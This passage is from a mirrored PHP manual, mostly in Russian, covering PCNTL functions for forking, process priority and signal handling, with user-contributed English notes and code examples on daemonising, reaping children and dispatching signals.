        echo "Running \n";
        for($i=0; $i<10000; $i++){
            $jobID = rand(0,10000000000000);

            while(count($this->currentJobs) >= $this->maxProcesses){
               echo "Maximum children allowed, waiting...\n";
               sleep(1);
            }

            $launched = $this->launchJob($jobID);
        }

        //Wait for child processes to finish before exiting here
        while(count($this->currentJobs)){
            echo "Waiting for current jobs to finish... \n";
            sleep(1);
        }
    }

    /**
    * Launch a job from the job queue
    */
    protected function launchJob($jobID){
        $pid = pcntl_fork();
        if($pid == -1){
            //Problem launching the job
            error_log('Could not launch new job, exiting');
            return false;
        }
        else if ($pid){
            // Parent process
            // Sometimes you can receive a signal to the childSignalHandler function before this code executes if
            // the child script executes quickly enough!
            //
            $this->currentJobs[$pid] = $jobID;

            // In the event that a signal for this pid was caught before we get here, it will be in our signalQueue array
            // So let's go ahead and process it now as if we'd just received the signal
            if(isset($this->signalQueue[$pid])){
                echo "found $pid in the signal queue, processing it now \n";
                $this->childSignalHandler(SIGCHLD, $pid, $this->signalQueue[$pid]);
                unset($this->signalQueue[$pid]);
            }
        }
        else{
            //Forked child, do your deeds....
            $exitStatus = 0; //Error code if you need to or whatever
            echo "Doing something fun in pid ".getmypid()."\n";
            exit($exitStatus);
        }
        return true;
    }

    public function childSignalHandler($signo, $pid=null, $status=null){

        //If no pid is provided, that means we're getting the signal from the system.  Let's figure out
        //which child process ended
        if(!$pid){
            $pid = pcntl_waitpid(-1, $status, WNOHANG);
        }

        //Make sure we get all of the exited children
        while($pid > 0){
            if($pid && isset($this->currentJobs[$pid])){
                $exitCode = pcntl_wexitstatus($status);
                if($exitCode != 0){
                    echo "$pid exited with status ".$exitCode."\n";
                }
                unset($this->currentJobs[$pid]);
            }
            else if($pid){
                //Oh no, our job has finished before this parent process could even note that it had been launched!
                //Let's make note of it and handle it when the parent process is ready for it
                echo "..... Adding $pid to the signal queue ..... \n";
                $this->signalQueue[$pid] = $status;
            }
            $pid = pcntl_waitpid(-1, $status, WNOHANG);
        }
        return true;
    }
}
Anonymous 19-Nov-2009 10:12
With regards to the database connection, one could deal with this using kill 9 or a sleep, the real problem is if two threads make a database query at the same time, PHP starts having random database errors that are not necessarily clear as to what the problem is.

You should create a separate link per thread.
Tony 29-Oct-2009 03:05
If you want to execute some code after your php page has been returned to the user. Try something like this -

<?php
function index()
{
        function shutdown() {
            posix_kill(posix_getpid(), SIGHUP);
        }

        // Do some initial processing

        echo("Hello World");

        // Switch over to daemon mode.

        if ($pid = pcntl_fork())
            return;     // Parent

        ob_end_clean(); // Discard the output buffer and close

        fclose(STDIN);  // Close all of the standard
        fclose(STDOUT); // file descriptors as we
        fclose(STDERR); // are running as a daemon.

        register_shutdown_function('shutdown');

        if (posix_setsid() < 0)
            return;

        if ($pid = pcntl_fork())
            return;     // Parent

        // Now running as a daemon. This process will even survive
        // an apachectl stop.

        sleep(10);

        $fp = fopen("/tmp/sdf123", "w");
        fprintf($fp, "PID = %s\n", posix_getpid());
        fclose($fp);

        return;
}
?>
php at mx dot magic-lamp dot org 11-Sep-2009 01:31
A workaround for the MySQL "Lost Connection during query", or any other object related problems caused by children exiting is to force the child to kill -9 itself, thus avoiding any cleanup.  Sure - it's not too elegant, but it does work.

<?php
$pid = pcntl_fork();
if ( $pid == 0 ) {
    // This is the child process.  Do something here.
    // Instead of calling exit(), we use posix_kill()
    posix_kill(getmypid(),9);
}
?>

Watch out that you don't spawn too many processes though as this creates its own problems.
drrota at us dot ibm dot com 22-Aug-2009 03:47
I was able to get around the problem of not being able to run fork and exec from Apache php.

I got around this by calling the system 'at' command on Linux.  "at run something now".  and you have to set atrun -s in a crontab file (to run every minute) to insure that things get kicked off quickly even if there is a heavy load on the machine.

If you're the only one running batch jobs on a linux box, this works.
kentmussell at mindspring dot com 27-Nov-2007 10:05
Here is an interesting script I wrote.  It demonstrates how pcntl_fork() might be used as a useful tool.

<?php
/* This script serves the purpose of testing an algorithm designed to:
a.) Compare password hashes, or try passwords efficiently where the time to try a single password is 10 seconds.
b.) Spawn threads to work simultaneously on comparing hashes.
c.) Restrict the number of threads open at a time.
*/
//checks for divisibility
function divby($num,$den) {
    $result = $num/$den;
    $result2 = floor($result);
    if ($result == $result2) {
        return true;
        }
    else {
        return false;
        }
    }
//checks whether a period of time fits into 2 second intervals occuring every 10 seconds.  Interval may increase or decrease in size to use more or less memory.
function goodTime($elapsed) {
    $num = floor($elapsed);
    $num = $num/12;
    $min = floor($num);
    $min = 12*$min;
    $max = $min+2;
    if ($elapsed >= $min && $elapsed <= $max) {
        return "yes";
        }
    else {
        return "no";
        }
    }

$x = 30; //number of child threads
$pid = 1; //needed to create first thread
$xpass = md5('29');//hash to crack
$time = time();
$i = 1;
//parent spawns $x children.
while ($i <= $x) {
    if (file_exists('childcall.txt')) {
        unlink('childcall.txt');
        exit;
        }
    $elapsed = time()-$time;
    //children are only spawned during intervals occuring every 10 seconds leaving enough time for the previous batch of children to finish their task.
    if (goodTime($elapsed)=="yes") {
        //Are we the parent?
        if ($pid != 0) {
            //Give birth to a child.
            $pid = pcntl_fork();
            //create a record of how many children have been birthed.
            $arr[$i] = $i;
            $time2 = $elapsed;
            }
        //escort children out of the loop.
        if ($pid == 0) {
            $i = $x+1;
            }
        $i++;
        }
    }
//parent waits for children to finish playing.
if ($pid) {
    $value = 1;
    while (!file_exists('childcall.txt')) {
        //wait
        }
    unlink('childcall.txt');
    $time = time()+2;
    while (time()<$time) {
        //wait
        }
    exit;
    }
//children take turns finding the highest array value, and changing it to 0
rsort($arr);
$value = max($arr);
$arr[$value] = 0;
$time = time()+10;
//simulate delay
while (time() < $time) {
    //wait
    }
//compare the high array value hash to the hash we are looking to crack.
if (md5($value) == $xpass) {
    echo "$value \n";
    }
if ($value == $x || md5($value) == $xpass) {
    $file = "childcall.txt";
    $content = true;
    file_put_contents($file,$contents);
    }
?>
amatsak at chestnutsoftware dot com 25-Oct-2006 02:06
The reason for the MySQL "Lost Connection during query" issue when forking is the fact that the child process inherits the parent's database connection. When the child exits, the connection is closed. If the parent is performing a query at this very moment, it is doing it on an already closed connection, hence the error.

An easy way to avoid this is to create a new database connection in parent immediately after forking. Don't forget to force a new connection by passing true in the 4th argument of mysql_connect():

<?php
// Create the MySQL connection
$db = mysql_connect($server, $username, $password);

$pid = pcntl_fork();

if ( $pid == -1 ) {
    // Fork failed
    exit(1);
} else if ( $pid ) {
    // We are the parent
    // Can no longer use $db because it will be closed by the child
    // Instead, make a new MySQL connection for ourselves to work with
    $db = mysql_connect($server, $username, $password, true);
} else {
    // We are the child
    // Do something with the inherited connection here
    // It will get closed upon exit
    exit(0);
?>

This way, the child will inherit the old connection, will work on it and will close upon exit. The parent won't care, because it will open a new connection for itself immediately after forking.

Hope this helps.
xuecan at google dot com 26-Aug-2006 09:59
I think this simple code can help understand how fork works:

<?php
echo "posix_getpid()=".posix_getpid().", posix_getppid()=".posix_getppid()."\n";

$pid = pcntl_fork();
if ($pid == -1) die("could not fork");
if ($pid) {
    echo "pid=".$pid.", posix_getpid()=".posix_getpid().", posix_getppid()=".posix_getppid()."\n";
} else {
    echo "pid=".$pid.", posix_getpid()=".posix_getpid().", posix_getppid()=".posix_getppid()."\n";
}
?>
arnold at helderhosting dot nl 13-Feb-2005 07:12
It is not possible to use the function 'pcntl_fork' when PHP is used as Apache module. You can only use pcntl_fork in CGI mode or from command-line.

Using this function will result in: 'Fatal error: Call to undefined function: pcntl_fork()'
ben at gelbnet dot com 25-Sep-2002 03:54
I was writing a shell script to get input from a user, however, I needed my script to time out after a certain number of seconds if the user didn't enter enough data. The code below descibes the method I used. It's a little hairy but it does work.

-Ben

#!/home/ben/php/bin/php -q
<?php
//GLOBALS
$RETURN_CHAR = "\n";
$TIMEOUT = 5; //number of seconds to timeout on input
$PID = getmypid();
$CHILD_PID = 0;

//Make sure program execution doesn't time out
set_time_limit(0);

function set_timeout() {
global $PID;
global $CHILD_PID;
global $TIMEOUT;

$CHILD_PID = pcntl_fork();
if($CHILD_PID == 0) {
sleep($TIMEOUT);
posix_kill($PID, SIGTERM);
exit;
}
}

function clear_timeout() {
global $CHILD_PID;
posix_kill($CHILD_PID, SIGTERM);
}

// read_data()
// gets a line of data from STDIN and returns it
function read_data() {

$in = fopen("php://stdin", "r");
set_timeout();
$in_string = fgets($in, 255);
clear_timeout();
fclose($in);
return $in_string;
}

// write_data($outstring)
// writes data to STDOUT
function write_data($outstring) {
$out = fopen("php://stdout", "w");
fwrite($out, $outstring);
fclose($out);
}

while(1) {
write_data("say something->");
$input = read_data();
write_data($RETURN_CHAR.$input);
}

?>


Получить код последней ошибки, возникшей в pcntl-функции

  • « pcntl_fork
  • pcntl_getpriority »
  • PHP Manual
  • Функции PCNTL
  • Получить код последней ошибки, возникшей в pcntl-функции

pcntl_get_last_error

(PHP 5 >= 5.3.4, PHP 7, PHP 8)

pcntl_get_last_error — Получить код последней ошибки, возникшей в pcntl-функции

Описание

pcntl_get_last_error(): int

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает код ошибки.

Смотрите также

  • pcntl_strerror() - Получить текст ошибки по её коду

User Contributed Notes

There are no user contributed notes for this page.


Получить значение приоритета процесса

  • « pcntl_get_last_error
  • pcntl_rfork »
  • PHP Manual
  • Функции PCNTL
  • Получить значение приоритета процесса

pcntl_getpriority

(PHP 5, PHP 7, PHP 8)

pcntl_getpriority — Получить значение приоритета процесса

Описание

pcntl_getpriority(?int $process_id = null, int $mode = PRIO_PROCESS): int|false

pcntl_getpriority() получает значение приоритета для процесса, указанного в аргументе process_id. Поскольку уровни приоритета процессов отличаются в различных типах операционных систем и версиях их ядер, пожалуйста, ознакомьтесь с вашим системным руководством getpriority(2) для получения детальной информации о специфике работы функции в вашей системе.

Список параметров

process_id

Если не указано, то будет использован идентификатор текущего процесса.

mode

Может принимать значение одной из констант PRIO_PGRP, PRIO_USER, PRIO_PROCESS, PRIO_DARWIN_BG или PRIO_DARWIN_THREAD.

Возвращаемые значения

pcntl_getpriority() возвращает приоритет процесса, или false в случае возникновения ошибки. Более низкое числовое значение (в т.ч. отрицательное) означает больший приоритет.

Внимание

Эта функция может возвращать как логическое значение false, так и значение не типа boolean, которое приводится к false. За более подробной информацией обратитесь к разделу Булев тип. Используйте оператор === для проверки значения, возвращаемого этой функцией.

Список изменений

Версия | Описание
8.0.0 | process_id теперь допускает значение null.

Смотрите также

  • pcntl_setpriority() - Изменить приоритет процесса

User Contributed Notes

jonathan at jcdesigns dot com 15-May-2008 02:12
This function is ideal for checking if a given process is running, I have seen solutions that involve running the system utilites like PS and parsing the answer, which should work fine, but this allows you to check a given PID with a single call

function CheckPID( $PID )
{
        // Check if the passed in PID represents a vlaid process in the system
        // Returns true if it does
        // Turn off non-fatal runtime warning for a moment as we know we
        // will get one if the PID does not represent a valid process

    $oldErrorLevel = error_reporting(0);
    error_reporting( $oldErrorLevel & ~E_WARNING );
    $res = pcntl_getpriority($PID);
    error_reporting( $oldErrorLevel);
    return ! ( $res === false);
}


Взаимодействует с ресурсами процесса

  • « pcntl_getpriority
  • pcntl_setpriority »
  • PHP Manual
  • Функции PCNTL
  • Взаимодействует с ресурсами процесса

pcntl_rfork

(PHP 8 >= 8.1.0)

pcntl_rfork — Взаимодействует с ресурсами процесса

Описание

pcntl_rfork(int $flags, int $signal = 0): int

Взаимодействует с ресурсами процесса.

Список параметров

flags

Параметр flags определяет, какие ресурсы вызывающего процесса (родительского) разделяются новым процессом (дочерним) или инициализируются в значения по умолчанию.

flags является логическим OR (или) некоторого подмножества из:

  • RFPROC: Если установлено, создаётся новый процесс; в противном случае изменения затрагивают текущий процесс.
  • RFNOWAIT: Если установлено, дочерний процесс будет отделён от родительского. При выходе дочерний процесс не будет оставлять статус для родителя, чтобы забрать его.
  • RFFDG: Если установлено, копируется таблица дескрипторов файлов вызывающей стороны; В противном случае два процесса используют одну таблицу.
  • RFCFDG: Если установлено, новый процесс начинается с чистой таблицей дескрипторов файлов. Взаимоисключающий флаг с RFFDG.
  • RFLINUXTHPN: Если установлено, ядро будет возвращать SIGUSR1 вместо SIGCHILD при выходе из дочернего потока. Предназначен для уведомления родительского процесса о выходе из Linux-клона.

signal

Номер сигнала.

Возвращаемые значения

В случае успешного выполнения в потоке выполнения родительского процесса возвращается PID дочернего процесса, а в потоке выполнения дочернего процесса возвращается 0. В случае возникновения ошибки в контексте родителя будет возвращено -1, дочерний процесс не будет создан и будет выдана ошибка PHP.

Примеры

Пример #1 Пример использования pcntl_rfork()

<?php

$pid = pcntl_rfork(RFNOWAIT|RFTSIGZMB, SIGUSR1);
if ($pid > 0) {
// Родительский процесс.
var_dump($pid);
} else {
// Дочерний процесс.
var_dump($pid);
sleep(2); // поскольку дочерний процесс не ждёт, мы видим его "pid".
}
?>

Результатом выполнения данного примера будет что-то подобное:

int(77093)
int(0)

Примечания

Замечание:

Функция доступна только в системах BSD.

Смотрите также

  • pcntl_fork() - Разветвить (fork) текущий запущенный процесс
  • pcntl_waitpid() - Ожидает или возвращает статус порождённого дочернего процесса
  • pcntl_signal() - Установка обработчика сигнала
  • cli_set_process_title() - Устанавливает заголовок процесса

User Contributed Notes

There are no user contributed notes for this page.


Изменить приоритет процесса

  • « pcntl_rfork
  • pcntl_signal_dispatch »
  • PHP Manual
  • Функции PCNTL
  • Изменить приоритет процесса

pcntl_setpriority

(PHP 5, PHP 7, PHP 8)

pcntl_setpriority — Изменить приоритет процесса

Описание

pcntl_setpriority(int $priority, ?int $process_id = null, int $mode = PRIO_PROCESS): bool

pcntl_setpriority() задаёт приоритет процессу, указанному в аргументе process_id.

Список параметров

priority

Как правило приоритет priority - это значение в интервале от -20 до 20. Приоритет по умолчанию равен 0, при том что более низкое числовое значение означает более высокий приоритет процесса. Поскольку уровни приоритета процессов отличаются в различных типах операционных систем и версиях их ядер, пожалуйста, ознакомьтесь с вашим системным руководством getpriority(2) для получения детальной информации о специфике работы функции в вашей системе.

process_id

Если не указано, то будет использован идентификатор текущего процесса.

mode

Может принимать значение одной из констант PRIO_PGRP, PRIO_USER, PRIO_PROCESS, PRIO_DARWIN_BG или PRIO_DARWIN_THREAD.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | process_id теперь допускает значение null.

Смотрите также

  • pcntl_getpriority() - Получить значение приоритета процесса
  • pcntl_setpriority()

User Contributed Notes

t dot stobbe at blackdogdev dot com 27-Aug-2006 03:49
As for the renice function by leandro dot pereira at gmail dot com, this isn't true.  pcntl_setpriority() doesn't set the nice level of a process, but instead sets the base priority of it.  At first glance this might seem like the same thing, but on a system level, they are actually quite different.

In fact, if you're looking to use pcntl_setpriority() to prioritize your process (a tool or a daemon or what-not), I wouldn't recomend using setpriority at all, but renice it instead.  Let the system manage priorities and you'll end up with the results you were looking for.

This applies only to POSIX based systems only (as does the function presented by leandro dot pereira at gmail dot com as well).
leandro dot pereira at gmail dot com 23-Dec-2004 07:08
The following snippet may be used under older versions of PHP to provide similar functionality.  Tested only under Linux.

<?php
function _pcntl_setpriority($priority, $pid = 0)
{
        $priority = (int)$priority;
        $pid = (int)$pid;

        if ($priority > 20 && $priority < -20) {
                return False;
        }
        if ($pid == 0) {
                $pid = getmypid();
        }

        return system("renice  $priority -p $pid") != false;
}

?>


Вызывает обработчики для ожидающих сигналов

  • « pcntl_setpriority
  • pcntl_signal_get_handler »
  • PHP Manual
  • Функции PCNTL
  • Вызывает обработчики для ожидающих сигналов

pcntl_signal_dispatch

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

pcntl_signal_dispatch — Вызывает обработчики для ожидающих сигналов

Описание

pcntl_signal_dispatch(): bool

Функция pcntl_signal_dispatch() вызывает обработчики сигналов, установленные функцией pcntl_signal(), для каждого ожидающего сигнала.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования pcntl_signal_dispatch():

<?php
echo "Установка обработчика сигнала SIGHUP...\n";
pcntl_signal(SIGHUP, function($signo) {
echo "Вызван обработчик сигнала SIGHUP\n";
});

echo "Посылаем сигнал SIGHUP самому себе...\n";
posix_kill(posix_getpid(), SIGHUP);

echo "Отравка всех сигналов...\n";
pcntl_signal_dispatch();

echo "Завершено.\n";

?>

Результатом выполнения данного примера будет что-то подобное:

Установка обработчика сигнала SIGHUP...
Посылаем сигнал SIGHUP самому себе...
Отравка всех сигналов...
Вызван обработчик сигнала SIGHUP
Завершено.

Смотрите также

  • pcntl_signal() - Установка обработчика сигнала
  • pcntl_sigprocmask() - Задаёт и извлекает список блокируемых сигналов
  • pcntl_sigwaitinfo() - Ожидание сигналов
  • pcntl_sigtimedwait() - Ожидает сигналы в течение заданного времени

User Contributed Notes

stefanis 13-May-2014 06:45
Well I misspoke before. It is not enough to process signals outside of the signal handler. They must be processed outside of the tick handler (explicit or implied). So...

Register a tick handler that calls pcntl_signal_dispatch();
In the signal handler, enqueue your signal;
In the main loop of your script, process your signals;

<?php
declare(ticks=1);
global $sig_queue;
global $use_queue;
$sig_queue = array();
$use_queue = true;   // set to false to do it the old way

function tick_handler()
{
     pcntl_signal_dispatch();
}

function sig_handler($sig)
{
     global $sig_queue;
     global $use_queue;

     if(isset($use_queue) && $use_queue)
     {
          $sig_queue[] = $sig;
     }
     else
     {
          sig_helper($sig);
     }
}

function sig_helper($sig)
{
     switch($sig)
     {
     case SIGHUP:
          $pid = pcntl_fork();
          if($pid) print("forked $pid\n");
          break;

     default:
          print("unhandled sig: $sig\n");
     }
}

pcntl_signal(SIGHUP,   "sig_handler");

while(true)
{
     if($use_queue) foreach($sig_queue as $idx=>$sig)
     {
           sig_helper($sig);
           unset($sig_queue[$idx]);
     }
     sleep(1);
}
?>
stefanis 13-May-2014 12:40
As noted by "me at subsonic dot net" calling pcntl_signal_dispatch() from within a signal handler invoked by a previous pcntl_signal_dispatch() will not trigger handlers for any new pending signals. This seems to be true even if you pcntl_exec() a new PHP processor to execute an entirely different script.

The solution seems to be to explicitly call pcntl_signal_dispatch()inside a ticks_handler() . And use sig_handler(int) as a push function to a queue. Immediately following the call to dispatch in the ticks_handler, pop your queue doing what you would have done in the signal_handler until the queue is empty.
me at subsonic dot cz 27-Jan-2014 05:33
Note that calling pcntl_signal_dispatch() from within a signal handler invoked by a previous pcntl_signal_dispatch() will not trigger handlers for any new pending signals. This means that if you write a CLI daemon which forks off child processes in response to a signal, then those child processes won't be able to respond to signals. This gave me a headache for a while as pcntl_signal_dispatch() doesn't raise any errors when this occurs. One solution is to set a flag within the signal handler and react upon it (by forking off the needed child processes) elsewhere in the parent process's main loop.
webmaster at ajeux dot com 10-Aug-2009 10:50
If you are running PHP as CLI and as a "daemon" (i.e. in a loop), this function must be called in each loop  to check if new signals are waiting dispatching.


Получить текущий обработчик указанного сигнала

  • « pcntl_signal_dispatch
  • pcntl_signal »
  • PHP Manual
  • Функции PCNTL
  • Получить текущий обработчик указанного сигнала

pcntl_signal_get_handler

(PHP 7 >= 7.1.0, PHP 8)

pcntl_signal_get_handler — Получить текущий обработчик указанного сигнала

Описание

pcntl_signal_get_handler(int $signal): callable|int

Функция pcntl_signal_get_handler() получит текущий обработчик указанного сигнала signal.

Список параметров

signal

Номер сигнала.

Возвращаемые значения

Функция вернёт целочисленное значение, указывающее на константы SIG_DFL или SIG_IGN. Если задан пользовательский обработчик, возвращается этот callable. функции.

Список изменений

Версия | Описание
7.1.0 | Была добавлена функция pcntl_signal_get_handler().

Примеры

Пример #1 Пример использования pcntl_signal_get_handler()

<?php
var_dump(pcntl_signal_get_handler(SIGUSR1)); // Вывод: int(0)

function pcntl_test($signo) {}
pcntl_signal(SIGUSR1, 'pcntl_test');
var_dump(pcntl_signal_get_handler(SIGUSR1)); // Вывод: string(10) "pcntl_test"

pcntl_signal(SIGUSR1, SIG_DFL);
var_dump(pcntl_signal_get_handler(SIGUSR1)); // Вывод: int(0)

pcntl_signal(SIGUSR1, SIG_IGN);
var_dump(pcntl_signal_get_handler(SIGUSR1)); // Вывод: int(1)
?>

Смотрите также

  • pcntl_signal() - Установка обработчика сигнала

User Contributed Notes

MAL 07-Feb-2021 09:08
If the signal handler is a Closure, the function itself is returned:

pcntl_signal(SIGHUP, function ($signo, $siginfo) {
    echo SIGHUP;
});

var_dump(pcntl_signal_get_handler(SIGHUP)); // Outputs: string(6) "SIGHUP"
jrdbrndt at gmail dot com 13-Jan-2018 02:06
It is worth noting that supplying an invalid signal number will trigger a warning and return false.


Установка обработчика сигнала

  • « pcntl_signal_get_handler
  • pcntl_sigprocmask »
  • PHP Manual
  • Функции PCNTL
  • Установка обработчика сигнала

pcntl_signal

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

pcntl_signal — Установка обработчика сигнала

Описание

pcntl_signal(int $signal, callable|int $handler, bool $restart_syscalls = true): bool

Функция pcntl_signal() устанавливает новый обработчик сигнала или заменяет текущий обработчик сигнала, указанный в аргументе signal.

Список параметров

signal

Номер сигнала.

handler

Обработчик сигнала. Это может быть или callable, указатель на функцию, которая будет запущена для обработки сигнала, или значение одной из глобальных констант: SIG_IGN или SIG_DFL, которые, соответственно, либо приведут к игнорированию сигнала, либо восстановлению обработчика по умолчанию.

Если передан тип callable, он должен иметь следующую сигнатуру:

handler(int $signo, mixed $siginfo): void
signal
Номер обрабатываемого сигнала.
siginfo
Если операционная система поддерживает структуры siginfo_t, можно передать массив c информацией о сигнале соответствующей структуры.

Замечание:

Обратите внимание, что когда вы задаёте в качестве обработчика метод объекта, счётчик ссылок на данный объект будет увеличен на единицу, что сохранит его в памяти до тех пор, пока вы либо не смените обработчик на что-то другое, либо до тех пор пока скрипт полностью не завершит свою работу.

restart_syscalls

Определяет, должен ли использоваться перезапуск системного вызова при поступлении сигнала.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
7.1.0 | Начиная с PHP 7.1.0 обработчику callback-функции передаётся второй аргумент, содержащий структуру siginfo определённого сигнала. Эти данные будут переданы только в том случае, если операционная система поддерживает структуры siginfo_t. Если в операционной системе не реализована поддержка структуры siginfo_t, то в качестве второго аргумента будет передан NULL.

Примеры

Пример #1 Пример использования pcntl_signal()

<?php
// Обязательно
declare(ticks = 1);

// функция обработки сигнала
function sig_handler($signo)
{

switch ($signo) {
case SIGTERM:
// Обработка задач остановки
exit;
break;
case SIGHUP:
// обработка задач перезапуска
break;
case SIGUSR1:
echo "Получен сигнал SIGUSR1...\n";
break;
default:
// Обработка других сигналов
}

}

echo "Установка обработчиков сигналов...\n";

// Установка обработчиков сигналов
pcntl_signal(SIGTERM, "sig_handler");
pcntl_signal(SIGHUP, "sig_handler");
pcntl_signal(SIGUSR1, "sig_handler");

// или можете использовать объект
// pcntl_signal(SIGUSR1, array($obj, "do_something"));

echo "Отправка сигнала SIGUSR1 себе...\n";

// Отправка SIGUSR1 процессу с текущим id (т.е. себе)
// для использования функций posix_* требуется модуль posix
posix_kill(posix_getpid(), SIGUSR1);

echo "Завершено\n";

?>

Примечания

pcntl_signal() не собирает обработчики сигналов в стек, а заменяет их.

Смотрите также

  • pcntl_fork() - Разветвить (fork) текущий запущенный процесс
  • pcntl_waitpid() - Ожидает или возвращает статус порождённого дочернего процесса

User Contributed Notes

kuba at valentine dot dev 19-Jul-2019 12:13
Remember that signal handlers are called immediately, so every time when your process receives registered signal blocking functions like sleep() and usleep() are interrupted (or more like ended) like it was their time to finish.

This is expected behaviour, but not mentioned in this documentation. Sleep interruption can be very unfortunate when for example you run a daemon that is supposed to execute some important task exactly every X seconds/minutes - this task could be called too early or too often and it would be hard to debug why it's happening exactly.

Simply remember that signal handlers might interfere with other parts of your code.
Here is example workaround ensuring that function gets executed every minute no matter how many times our loop gets interrupted by incoming signal (SIGUSR1 in this case).

<?php

  pcntl_async_signals(TRUE);

  pcntl_signal(SIGUSR1, function($signal) {
    // do something when signal is called
  });

  function everyMinute() {
    // do some important stuff
  }

  $wait = 60;
  $next = 0;

  while (TRUE) {
    $stamp = time();
    do {
      if ($stamp >= $next) { break; }
      $diff = $next - $stamp;
      sleep($diff);
      $stamp = time();
    } while ($stamp < $next);

    everyMinute();

    $next = $stamp + $wait;
    sleep($wait);
  }

?>

So in this infinite loop do {} while() calculates and adds missing sleep() to ensure that our everyMinute() function is not called too early. Both sleep() functions here are covered so everyMinute() will never be executed before it's time even if process receives multiple SIGUSR1 signals during it's runtime.
Aurelien Marchand 29-Jun-2018 02:29
To be clear, the phrase "pcntl_signal() doesn't stack the signal handlers, but replaces them. " means that you can still have different functions for different signals but only one function per signal.

In other words, this will work as expected

<?php

pcntl_async_signals(true);
pcntl_signal(SIGUSR1,function(){echo "received SIGUSR1";});
pcntl_signal(SIGUSR2,function(){echo "received SIGUSR2";});
posix_kill(posix_getpid(),SIGUSR1);
posix_kill(posix_getpid(),SIGUSR2);

// returns "received SIGUSR1" and then "received SIGUSR2"

?>
Ryan Jentzsch 21-Nov-2017 08:53
If you are using PHP >= 7.1 then DO NOT use `declare(ticks=1)` instead use `pcntl_async_signals(true)`

There's no performance hit or overhead with `pcntl_async_signals()`. See this blog post https://blog.pascal-martin.fr/post/php71-en-other-new-things.html for a simple example of how to use this.
wally at soggysoftware dot co dot uk 26-Apr-2016 12:27
A word of caution around the third parameter (restart_syscalls) in pcntl_signal(...).

I kept having a repeated issue where (seemingly randomly) my script would "exit unexpectedly" (_exit_, not crash: the exit code was always 0) while tracking forked children using signal handlers.

It appears that the signal handling is not at fault (indeed, PHP isn't "at fault").  Having "restart_syscalls" set to FALSE seemed to be the problem's cause.

I haven't debugged the issue extensively - except to observe that the issue was highly intermittent and seemed to relate to my use of usleep() in conjunction with restart_syscalls=FALSE.

My theory is the usleep() was wrongly tracking time - as described over here: http://man7.org/linux/man-pages/man2/restart_syscall.2.html

Long story short, I re-enabled (which is the default value) restart_syscalls, and the issue went away.

If you're curious - register_shutdown_function was still being handled correctly - so PHP definitely was _NOT_ crashing.  Interestingly however, my procedural code never "resumed" after the signal was handled.

I do not believe this is a bug.  I believe it was ignorant user error.  YMMV.
dorogikh dot alexander at gmail dot com 22-Oct-2014 07:40
Looks like php uses  RealTime signals. This means that if one signal is currently processed, then other signals will not be lost.

just for example
<?php
pcntl_signal(SIGHUP, SIG_IGN)
?>

in strace log looks like this

"rt_sigaction(SIGHUP, {SIG_IGN, [], SA_RESTORER|SA_RESTART, 0x7f8caf83cc30}, {SIG_DFL, [], 0}, 8) = 0"

And code for testing

<?php
pcntl_signal(SIGHUP, function($signo){
  echo "1\n";
  sleep(2);
  echo "2\n";
});

while(true){
  sleep(1);
  pcntl_signal_dispatch();
}
?>

Run this and send how many SIGHUP signals as you want. All of them will be processed.

P.S.
I guess "all of them". I couldn't found real signal queue size. Will appreciate if someone points me.
fx4084 at gmail dot com 12-Sep-2014 08:13
<?php
pcntl_signal(SIGTERM,  function($signo) {
    echo "\n This signal is called. [$signo] \n";
    Status::$state = -1;
});

class Status{
    public static $state = 0;
}

$pid = pcntl_fork();
if ($pid == -1) {
    die('could not fork');
}

if($pid) {
    // parent
} else {
    while(true) {
        // Dispatching...
        pcntl_signal_dispatch();
        if(Status::$state == -1) {
            // Do something and end loop.
            break;
        }

        for($j = 0; $j < 2; $j++) {
            echo '.';
            sleep(1);
        }
        echo "\n";
    }

    echo "Finish \n";
    exit();
}

$n = 0;
while(true) {
    $res = pcntl_waitpid($pid, $status, WNOHANG);

    // If the child process ends, then end the main process.
    if(-1 == $res || $res > 0)
        break;

    // Send a signal after 5 seconds..
    if($n == 5)
        posix_kill($pid, SIGTERM);

    $n++;

    sleep(1);
}
?>
frustrated at outdated docs 07-Mar-2014 11:01
Please be aware that declaring ticks or calling pcntl_signal_dispatch() in 5.3 and later is required to make pcntl_signal do anything useful. I wish the documentation made this more clear.
Zsolt Szilagyi 19-Feb-2013 09:04
Remember that declaring a tick handler can become really expensive in terms of CPU cycles: Every n ticks the signal handling overhead will be executed.

So instead of declaring tick=1, test if tick=100 can do the job. If so, you are likely to gain fivefold speed.

As your script might always might miss some signals due to blocking operations like cURL downloads, call pcntl_signal_dispatch() on vital spots, e.g. at the beginning of your main loop.
S. Kr@cK 31-May-2012 12:25
static class method to get the name of a process signal as string:

(self::$processSignalDescriptions is used to cache the results)

<?php
    public static function getPOSIXSignalText($signo) {

        try {
            if (is_null(self::$processSignalDescriptions)) {

                self::$processSignalDescriptions = array();

                $signal_list = explode(" ", trim(shell_exec("kill -l")));
                foreach ($signal_list as $key => $value) {
                    self::$processSignalDescriptions[$key+1] = "SIG".$value;
                }
            }

            return isset(self::$processSignalDescriptions[$signo])?self::$processSignalDescriptions[$signo]:"UNKNOWN";

        } catch (Exception $e) {}

        return "UNKNOWN";
    }
?>
Aurelien Marchand 04-Mar-2011 07:22
I was having some issues with processing a signal using an object method I use for something else as well. In particular, I wanted to handle SIGCHLD with my own method "do_reap()" which I also call after a stream_select timeout and that uses a non-blocking pcntl_waitpid function.

The method was called when the signal was received but it couldn't reap the child.

The only way it worked was by creating a new handler that itself called do_reap().

So in other words, the following does not work:

<?php
class Parent {
  /* ... */
  private function do_reap(){
    $p = pcntl_waitpid(-1,$status,WNOHANG);
    if($p > 0){
      echo "\nReaped zombie child " . $p;
    }

   public function run(){
    /* ... */
    pcntl_signal(SIGCHLD,array(&$this,"do_reap"));
    $readable = @stream_select($read,$null,$null,5); // 5 sec timeout
    if($readable === 0){
      // we got a timeout
      $this->do_reap();
   }
}
?>

But this work:

<?php
class Parent {
  /* ... */
  private function do_reap(){
    $p = pcntl_waitpid(-1,$status,WNOHANG);
    if($p > 0){
